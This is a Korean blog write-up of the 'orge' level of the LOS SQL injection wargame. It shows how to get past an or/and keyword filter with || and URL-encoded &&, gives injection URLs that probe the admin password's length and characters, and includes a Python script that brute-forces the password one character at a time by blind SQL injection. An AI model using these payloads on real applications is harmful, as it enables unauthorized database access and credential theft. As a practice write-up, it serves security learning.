cgy12306

[LOS] orge 본문

Wargame/LOS

[LOS] orge

cgy12306 2019. 8. 13. 16:52
or와 and를 사용하지 못하는 blind sql injection 문제인듯 하다.
 
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=' union select 'admin
 
이렇게 입력을 해주면 Hello admin이 출력이 된다.
 
 
union select로 변조한 값은 id라는 것을 알 수 있다. (이럴 필요 없었다)
 
or은 ||으로 필터링을 우회할 수 있고, and는 &&로 필터링을 우회할 수 있다.
 
|| = %7c%7c
&& = %26%26
 
&는 GET 방식으로 데이터를 넘겨줄 때 사용하므로 %26으로 필터링 해줘야 한다.
 
 
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=' || id='admin' %26%26 length(pw)='8
 
 
id가 admin이고 pw 길이가 8일 때 hello admin이 뜨게 된다.
 
 
Blind SQL Injection 코드를 작성해 보자. 하려 했지만 안됨...
 
그래서 손으로 하나씩 하나씩 비교문으로 대입했다.
 
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27%20||%20id=%27admin%27%20%26%26%20ASCII(substr(pw,8,1))%3C<=%2799
이런식으로 1번째 글자부터 8번째 글자까지 대입해보면
 
54, 99, 56, 54, 52, 100, 101, 99가 나온다.
 
아쉬운 마음에 이걸 변환해주는 코드를 작성해봤다....
 
 
 
 
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=6c864dec
 
 
다시 코드를 짰다. 이번에는 파라미터로 넘기는 방식이 안돼서 URL에 떄려박는 식으로 했다.
import requests

arry=[]

cookies = {'__cfduid': '?????????', 'PHPSESSID' : '???????????'}

for k in range(1,9):
    for j in range(32,127):
        params = {'pw':"' || id='admin' %26%26 ASCII(substr(pw,"+ str(k) + ",1))="+str(j)+"-- '"}


        res = requests.get(url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=' || id='admin' %26%26 ASCII(substr(pw,"+str(k)+",1))='"+str(j) ,cookies=cookies)

        if 'Hello admin' in res.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))

            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)
 

 

'Wargame > LOS' 카테고리의 다른 글

[LOS] vampire  (0) 2019.08.13
[LOS] troll  (0) 2019.08.13
[LOS] darkelf  (0) 2019.08.13
[LOS] wolfman  (0) 2019.08.13
[LOS] orc  (0) 2019.08.13
Comments